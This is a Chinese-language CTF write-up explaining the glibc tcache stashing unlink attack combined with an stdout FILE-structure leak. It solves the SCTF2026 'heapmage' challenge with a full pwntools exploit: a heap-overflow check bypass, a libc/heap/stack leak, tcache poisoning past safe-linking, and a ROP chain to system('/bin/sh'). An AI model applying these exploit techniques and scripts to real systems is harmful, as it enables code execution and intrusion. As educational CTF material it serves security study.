引言
前段时间笔者看到了@B1t3师傅的[原创]trx ctf 2026 house of fishing,复现了一下,原题是常规的增删查改程序但缺失show(查)的情况下通过UAF+Larginattack+tcache stashing unlink实现一个任意地址分配,从而污染某个特定的数据使得后门函数的进入条件通过,笔者在复现后思考,如果删除后门函数,能否在无show+UAF的情况下实现劫持程序执行流,发现tcache stashing unlink结合其他技术可以在无show的情况下做到劫持程序执行流,遂发表在评论区。 而这两天刚好SCTF出了一道类似考点的题目,也是考察在程序没有show时的堆利用,笔者尝试上述方法发现可解,因此有了这篇文章来记录该攻击方法。
前置知识
tcache stashing unlink
how2heap中的源码(去除相关注释)
#include <stdio.h>#include <stdlib.h>#include <assert.h>
int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target;
setbuf(stdout, NULL);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsigned long)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n");
for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); }
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
free(chunk_lis[1]); free(chunk_lis[0]); free(chunk_lis[2]);
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90); malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
chunk_lis[2][1] = (unsigned long)stack_var;
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
assert(target == &stack_var[2]); return 0;}当然这个源码只是其中一种情况,我们后续再讲更普遍的情况 先总结一下tcache stashing unlink的适用条件:
- 有足够的槽位填满tcache
- 能够修改某个smallbin的bk指针(通过UAF或者是堆溢出亦或是其他方法)
- 目标地址+0x18处必须是一个指向可写内存的指针(通过已有指针/通过其他攻击方法提前布置好这个指针)
而tcache stashing unlink能达到的结果是:①实现任意地址分配 ②向任意地址写入一个libc中的地址
接下来我们从源码(笔者拿Glibc2.39中的malloc.c作为例子)看该攻击方法的原理:
根据前前置知识我们知道,smallbin是严格的FIFO,同时,在单线程程序中main_arena.bins维护了某个size的双向链表,如果某个size中存在A、B、C三个smallbin的话,那么双向链表应该形如
bin <-> A <-> B <-> C <-> bin,我们通常把A称作链表头,C称作链表尾,而smallbin的取块方向是自尾向头取,也就是如果我们在此时malloc对应大小的堆块,被首先拿出的将是C 源码中的印证:
#define first(b) ((b)->fd)#define last(b) ((b)->bk)..._int_malloc (mstate av, size_t bytes){ ... if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk;}而当从smallbin取块时,紧接着就是第一次双向链表的验证
if (__glibc_unlikely (bck->fd != victim)) //这个bck就是上面所取得victim的bk所指向的堆块 malloc_printerr ("malloc(): smallbin double linked list corrupted");如果我们还是按刚才的ABC来理解,取块时会检查C的bk指向的堆块(B)的fd指针是否指向C,一个简单的双向链表检验
而出现问题的则是随后的#if USE_TCACHE分支,先放源码(注意,此时的C已经被脱链,也就是现在的链表情况应该是bin <-> A <-> B <-> bin)
#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache != NULL && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); }
}首先,进入stash的条件是①tcache已完成初始化且②当前size所对应的tcache并未完全被放满,如果这两个条件满足,那么smallbin的链表就会进入stash的流程,将链表尾的堆块脱离smallbin的双向链表,再将这个堆块放入对应size的tcache的单向链表中,并不断循环,脱离循环的条件是①tcache已满或②当前链表已不存在任何堆块(bin <-> bin)。
细心的读者一定会发现,在stash的过程中,没有对fd/bk指针做任何检查,而在Glibc2.43(最新版本的Glibc)中,该stash逻辑依然没有加入任何检查

这意味着,当我们伪造了bin <-> A <-> B <-> C <-> bin中A的bk时,当B在stash流程脱链时,bin的bk会被指向我们所伪造的地址,同时,会向我们伪造地址+0x10处写入一个libc中的地址(main_arena),而此时如果循环条件还未结束,那么下一次循环时所取得last(bin)就会是我们伪造的地址从而实现任意地址分配。
注意,我们在进行stash attack时通常会使得tcache的空闲格数==smallbin链表中堆块的数量+1,这是为了防止当我们伪造的地址被链入tcache后,循环仍未满足停止条件,从而会将我们伪造地址+0x18处的地址继续作为bck,而这个地址未必满足前述的stash条件,而导致崩溃。
IO_leak
这个部分可以看@winmt师傅的[原创] CTF 中 glibc堆利用 及 IO_FILE 总结中提到的通过攻击IO中stdout结构体实现任意读写的部分,本文不赘述啦)
攻击实现
我们会发现在stdout前的stderr+136处存在一个指向_IO_stdfile_2_lock的指针,而这个指针恰好能够满足我们在tcache stashing unlink中需要的target+0x18处的指针

同时,我们恰好可以通过修改smallbin的bk(main_arena)的低两字节指向在libc中的IO结构体

结合上述两个条件+前置知识,这个攻击方法的步骤大致可以总结如下:
- 填满tcache制造smallbin
- 修改smallbin的链表头bk指针
- 触发stash,使得这个指针被链入tcache中
- 通过malloc实现任意地址分配
需要注意的是,在2、3的步骤中,有无calloc是不一样的,在2.42前,calloc默认不会从tcache分配,因此我们只需要构造
bin <-> A <-> B <-> bin,修改A的bk,再令tcache中有两个空闲位置,此时calloc一个堆块,将B脱链,此时链表应该形似target <- A <-> bin,此时再malloc就可以得到任意地址分配。 而在只有malloc的情况,这一步需要复杂一点,我们首先需要构造七个堆块在smallbin中,再修改链表头的bk指针,再将tcache、smallbin中的堆块都申请出来才能实现任意地址分配,原因就是我们tcache的空闲格数==smallbin链表中堆块的数量+1,但是我们没办法越过tcache直接从smallbin中取块,所以tcache的空闲格数只能是7,而tcache空闲时malloc会消耗一个smallbin的堆块,读者简单思考应该就能明白其中的道理。 而在我们拿到这个位于stderr+136处的地址分配后,我们就可以通过伪造stdout中的以下七个字段实现任意地址读
int _flags; char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */而这个拥有这个任意地址读了后,配合UAF/堆溢出,我们就能实现任意地址读写,此时通过IO或者environ我们就能轻松劫持程序的执行流了。
例 SCTF2026——heapmage
Glibc2.39,保护全开

经典的增删改,没有查

add限定大小申请堆块

同时,在首次malloc时会写入堆基址

delete正常free的逻辑,清空了全局指针,不存在UAF

edit中硬编码了写入长度,对0xc0大小的堆块做写入操作时存在0x20大小的堆溢出

同时,在edit时存在一个check逻辑,当读入长度大于0xD8时进行检查,首先取当前堆块+0xC8位置的数据,其实对于我们要进行堆溢出操作的0xC0堆块而言,这个位置就是下一个堆块的size,如果这个size在0x1F与0x520之间,且没有通过times函数中的检查,就会直接退出程序,我们跟进times看看

传入的参数是当前堆块+0xD8的位置,对于0xC0的堆块而言,就是下一个堆块的bk位置,首先先获取当前堆的堆顶,如果该位置不为0,且heap_base已被初始化,就会检查这个bk指针是否在堆内存范围内,如果不在的话,该函数的检查就失败

所以,如果我们按照上述函数方法试图修改smallbin的bk指针时,就会遇到该函数的阻碍,但是想要绕过也非常非常简单,其实这里严格来说存在一个TOCTOU的漏洞,也就是我们在堆溢出时先将size位改为一个大于边界的数,因为是先进行的写入操作,所以在检查时根本不需要通过times的检查也能够正常返回菜单,而这样做会使得堆内存被打乱,此时我们只需要再次通过堆溢出再次覆写size为原size,这样的写入操作不超过0xD8字节,因此也不会进入检查,我们就能够在绕过检查的方式下修改smallbin的bk指针了。

接下来我们对这道题进行上述方法的利用 ,首先我们先需要填满tcache并在smallbin中链入7个堆块(注意,每个堆块间应有用来分隔的堆块,否则会触发unsortedbin的合并机制)
for i in range(7): #tcache add(i, 2)
for i in range(6): add(i + 7, 2) add(14, 1) #防止合并,并且在结束循环时idx14就是我们将进行堆溢出的堆块
add(13, 2) #链表头就是这个堆块add(15, 1) #防止与topchunk合并
for i in range(7): delete(i) #填满tcacheadd(4, 1) #这三个堆块是用来后续利用tcache进行任意地址分配的,可以先不管他们add(5, 1)add(6, 1)for i in range(7): delete(i + 7) #链入smallbin我们来看此时的内存,我们恰好可以通过链表头前的堆块溢出覆写链表头的这个smallbin的低字节,将其改为IO中的地址

此时我们覆写,并且将tache的堆块都先申请出来,再申请一个堆块触发stash,查看情况
edit(14, b"a" * 0xC0 + p64(0) + p64(0x550) + p64(0) + b"\x50\x45")edit(14, b"a" * 0xC0 + p64(0) + p64(0x101)) #上述提到的绕过检查的方法for i in range(7): add(0, 2) #tcacheadd(0, 2) #触发stash可以看到,我们想要申请的地址已经进入了tcache,我们只需要再进行一次malloc就实现了申请到IO,但与此同时值得注意的是,smallbin中的链表已经被我们破坏了(bin的fd依然指向我们利用的堆块),也就意味着我们无法在tcache填满后对这个size进行申请,会触发双向链表检查报错

我们再修改stdout的字段,使得我们能拿到原本在_IO_buf_end的地址,从而计算libc的基地址
add(1, 2)edit(1, p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + b"\x00")rc(20)libc_base = uu64(rc(6)) - 0x204644slog(b"libc", libc_base)
那么此时,我们通过控制stdout的字段就能实现任意地址读写,我们可以通过读main_arena拿到堆基址、读environ拿到栈地址
def show(addr, size): payload = ( p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + p64(addr) + p64(addr + size) + p64(addr + size) ) edit(1, payload) rc(20)
show(libc_base + 0x203B20, 6)heap_base = uu64(rc(6)) - 0x1B50 - 0x1A0 - 0xD0slog(b"heap", heap_base)show(libc_base + 0x20AD58, 6)environ = uu64(rc(6))slog(b"stack", environ)
那么我们拥有堆、栈、libc地址后,就可以通过tcache_poisoning直接劫持返回地址控制执行流了,但是由于上述所说的原因,我们没有办法从smallbin中再取对应size的堆块,所以我们提前布置好就好。
delete(4)delete(6)chunk = heap_base + 0x1710edit( 5, b"/bin/sh\x00" + b"a" * 0xB8 + p64(0) + p64(0xD1) + p64(safe(chunk, environ - 0x178)) #safe-linking + p64(0),)slog("ret", environ - 0x128)add(6, 1)add(4, 1)bin_sh = heap_base + 0x1720pop_rdi = libc_base + 0x10F75Bedit( 4, p64(0) + p64(1) + p64(2) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(libc_base + libc.sym["system"]),)sh()
exp附下:
#!/usr/bin/env python3from pwn import * # type: ignore
context.terminal = ["wt.exe", "-w", "0", "split-pane", "bash", "-c"]file_name = "./pwn"libc_position = "/root/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/libc.so.6"remote_addr = ""remote_port = ""
e = ELF(f"{file_name}")context.binary = econtext.log_level = "debug" # error/debug
libc = Noneif args.REMOTE: p = remote("pwn-9a9324aec6.adworld.xctf.org.cn", 9999, ssl=True)elif args.GDB: gdbscript = """""" p = gdb.debug(file_name, gdbscript=gdbscript)else: p = process(file_name)if libc_position != "": libc = ELF(f"{libc_position}")assert libc is not None
sd = lambda a: p.send(a)sl = lambda a: p.sendline(a)rc = lambda a=4096: p.recv(a)rl = lambda: p.recvline()ru = lambda a: p.recvuntil(a)uu32 = lambda a: u32(a.ljust(4, b"\x00"))uu64 = lambda a: u64(a.ljust(8, b"\x00"))sh = lambda: p.interactive()slog = lambda name, addr: log.success(f"{name} ==> {hex(addr)}")
def debug(cmd=""): if not args.REMOTE: gdb.attach(p, cmd) pause()
def safe(a, b): return b ^ (a >> 12)
def choice(a): ru(b"> ") sl(str(a).encode())
def add(a, b): choice(1) ru(b"ex:") sl(str(a).encode()) ru(b"choice:") sl(str(b).encode())
def delete(a): choice(2) ru(b"ex:") sl(str(a).encode())
def edit(a, b): choice(3) ru(b"ex:") sl(str(a).encode()) ru(b"ata:") sd(b)
for i in range(7): add(i, 2)
for i in range(6): add(i + 7, 2) add(14, 1)
add(13, 2)add(15, 1)
for i in range(7): delete(i)add(4, 1)add(5, 1)add(6, 1)for i in range(7): delete(i + 7)add(15, 3)edit(14, b"a" * 0xC0 + p64(0) + p64(0x550) + p64(0) + b"\x50\x45")edit(14, b"a" * 0xC0 + p64(0) + p64(0x101))for i in range(7): add(0, 2)add(0, 2)pause()add(1, 2)rc()edit(1, p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + b"\x00")rc(20)libc_base = uu64(rc(6)) - 0x204644slog(b"libc", libc_base)
def show(addr, size): payload = ( p64(0) * 12 + p64(0xFBAD1887) + p64(0) * 3 + p64(addr) + p64(addr + size) + p64(addr + size) ) edit(1, payload) rc(20)
show(libc_base + 0x203B20, 6)heap_base = uu64(rc(6)) - 0x1B50 - 0x1A0 - 0xD0slog(b"heap", heap_base)show(libc_base + 0x20AD58, 6)environ = uu64(rc(6))slog(b"stack", environ)show(environ - 0xA0, 8)
delete(4)delete(6)chunk = heap_base + 0x1710edit( 5, b"/bin/sh\x00" + b"a" * 0xB8 + p64(0) + p64(0xD1) + p64(safe(chunk, environ - 0x178)) + p64(0),)slog("ret", environ - 0x128)add(6, 1)add(4, 1)bin_sh = heap_base + 0x1720pop_rdi = libc_base + 0x10F75Bedit( 4, p64(0) + p64(1) + p64(2) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(libc_base + libc.sym["system"]),)sh()